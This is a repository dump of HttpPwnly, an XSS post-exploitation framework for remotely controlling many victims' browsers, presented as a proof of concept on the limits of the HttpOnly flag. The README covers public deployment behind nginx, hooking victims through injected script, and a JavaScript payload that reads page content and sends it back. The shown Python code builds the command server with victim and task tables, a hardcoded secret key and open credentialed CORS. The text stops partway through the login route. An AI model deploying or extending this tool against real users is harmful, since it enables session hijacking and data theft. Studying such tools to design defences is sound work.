67 | 68 | 69 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Original work by: Danladi https://github.com/Danladi/HttpPwnly 2 | 3 | # HttpPwnly 4 | 5 | "Repeater" style XSS post-exploitation tool for mass browser control. Primarily a PoC to show why HttpOnly flag isn't a complete protection against session hijacking via XSS. 6 | 7 | ## Dependencies: 8 | pip install -r requirements.txt 9 | 10 | ## Usage: 11 | to run the tool, simply use: 12 | ``` 13 | python httppwnly.py 14 | ``` 15 | For production usage, you should run and configure a reverse proxy which offers both HTTP on port 80 and HTTPS on port 443 with a properly signed SSL certificate. This is free and fairly straightforward with Lets Encrypt providing you own a domain. See "Reverse proxy" below for further info and a copy-paste nginx config. 16 | 17 | When you run httppwnly, a randomly generated password for the user "admin" will be displayed in the terminal. At this point, visit https://[yourdomain]/login in your browser. After logging in, you will have access to the /dashboard. 18 | 19 | In order to hook a victim, you should write the following script tag to a page via XSS: 20 | ``` 21 | 22 | ``` 23 | 24 | ## Demo: 25 | [![Demo Video](http://img.youtube.com/vi/spfrmsbhBaw/0.jpg)](https://www.youtube.com/watch?v=spfrmsbhBaw "HttpPwnly Update Demo") 26 | 27 | 28 | ## Asynchronous payloads: 29 | To overide normal task output data within your payload (for example in order to retrieve output from XMLHttpRequest), call the "sendOutput" function and pass it your intended output. For example: 30 | 31 | ```javascript 32 | var xmlhttp = new XMLHttpRequest(); 33 | xmlhttp.onreadystatechange = function() { 34 | if (xmlhttp.readyState == 4) { 35 | sendOutput(id,xmlhttp.responseText); 36 | } 37 | }; 38 | xmlhttp.open("GET", "/", true); 39 | xmlhttp.send(); 40 | ``` 41 | 42 | ## Reverse proxy: 43 | HttpPwnly will bind to localhost:5000. In order to make the framework accessible remotely, the best approach is to use a reverse proxy. It's also recommended to offer HTTP as well as HTTPS, another reason to use a reverse proxy! I personally recommend using nginx for this. This is a working nginx config file: 44 | ``` 45 | server { 46 | listen 80; 47 | server_name example.com; 48 | 49 | location / { 50 | proxy_pass http://127.0.0.1:5000; 51 | proxy_http_version 1.1; 52 | proxy_buffering off; 53 | proxy_set_header Upgrade $http_upgrade; 54 | proxy_set_header Connection "Upgrade"; 55 | 56 | } 57 | } 58 | server { 59 | listen 443 ssl; 60 | server_name example.com; 61 | ssl_certificate /etc/letsencrypt/live/example.com/fullchain.pem; 62 | ssl_certificate_key /etc/letsencrypt/live/example.com/privkey.pem; 63 | location / { 64 | proxy_pass http://127.0.0.1:5000; 65 | proxy_http_version 1.1; 66 | proxy_buffering off; 67 | proxy_set_header Upgrade $http_upgrade; 68 | proxy_set_header Connection "Upgrade"; 69 | 70 | } 71 | } 72 | ``` 73 | -------------------------------------------------------------------------------- /httppwnly.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | async_mode = None 4 | 5 | from flask import Flask, render_template, session, request, Response, abort, redirect, url_for 6 | from flask_socketio import SocketIO, emit, join_room, leave_room, close_room, rooms, disconnect 7 | from flask_sqlalchemy import SQLAlchemy 8 | from flask_login import LoginManager, UserMixin, login_required, login_user, logout_user, current_user 9 | from flask_bcrypt import Bcrypt 10 | from flask_cors import CORS, cross_origin 11 | import sqlite3, functools, random, string, datetime 12 | 13 | 14 | app = Flask(__name__) 15 | app.config['SECRET_KEY'] = 'secret!' 16 | DATABASE = 'tasks.db' 17 | app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///'+DATABASE 18 | app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False 19 | db = SQLAlchemy(app) 20 | login_manager = LoginManager() 21 | login_manager.init_app(app) 22 | socketio = SocketIO(app) 23 | bcrypt = Bcrypt(app) 24 | CORS(app,supports_credentials=True) 25 | 26 | class User(db.Model): 27 | 28 | __tablename__ = 'user' 29 | 30 | username = db.Column(db.String, primary_key=True) 31 | password = db.Column(db.String) 32 | authenticated = db.Column(db.Boolean, default=False) 33 | 34 | def is_active(self): 35 | """True, as all users are active.""" 36 | return True 37 | 38 | def get_id(self): 39 | """Return the email address to satisfy Flask-Login's requirements.""" 40 | return self.username 41 | 42 | def is_authenticated(self): 43 | """Return True if the user is authenticated.""" 44 | return self.authenticated 45 | 46 | def is_anonymous(self): 47 | """False, as anonymous users aren't supported.""" 48 | return False 49 | 50 | 51 | class Task(db.Model): 52 | id = db.Column(db.Integer, primary_key=True, autoincrement=False) 53 | victim_id = db.Column(db.Text, db.ForeignKey('victim.id'), primary_key=True) 54 | input = db.Column(db.Text) 55 | output = db.Column(db.Text) 56 | status = db.Column(db.Text) 57 | created_time = db.Column(db.DateTime) 58 | victim = db.relationship('Victim', 59 | backref=db.backref('tasks', lazy='dynamic')) 60 | def __init__(self, victim, id, input, output=None): 61 | self.id = id 62 | self.victim = victim 63 | self.input = input 64 | self.output = output 65 | self.status= "new" 66 | self.created_time = datetime.datetime.utcnow() 67 | def __repr__(self): 68 | return '' % self.id 69 | def _asdict(self): 70 | result = OrderedDict() 71 | for key in self.__mapper__.c.keys(): 72 | result[key] = getattr(self, key) 73 | return result 74 | 75 | class Victim(db.Model): 76 | id = db.Column(db.Text, primary_key=True, autoincrement=False) 77 | active = db.Column(db.Boolean) 78 | created_time = db.Column(db.DateTime) 79 | def __init__(self, id): 80 | self.id=id 81 | self.created_time = datetime.datetime.utcnow() 82 | self.active=True 83 | def __repr__(self): 84 | return '' % self.id 85 | def _asdict(self): 86 | result = OrderedDict() 87 | for key in self.__mapper__.c.keys(): 88 | result[key] = getattr(self, key) 89 | return result 90 | 91 | 92 | db.drop_all() 93 | db.create_all() 94 | 95 | #testing 96 | tmpuser = User() 97 | tmpuser.username="admin" 98 | pw = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(10)) 99 | print "Username: "+tmpuser.username 100 | print "Password: "+pw 101 | 102 | tmpuser.password=bcrypt.generate_password_hash(pw) 103 | db.session.add(tmpuser) 104 | db.session.commit() 105 | 106 | @login_manager.user_loader 107 | def user_loader(user_id): 108 | """Given *user_id*, return the associated User object. 109 | 110 | :param unicode user_id: user_id (email) user to retrieve 111 | """ 112 | return User.query.get(user_id) 113 | 114 | 115 | @app.route('/dashboard') 116 | @login_required 117 | def dashboard(): 118 | return render_template('dashboard.html') 119 | 120 | @app.route("/login", methods=["GET", "POST"]) 121 | def login(): 122 | """For GET requests, display the login form.
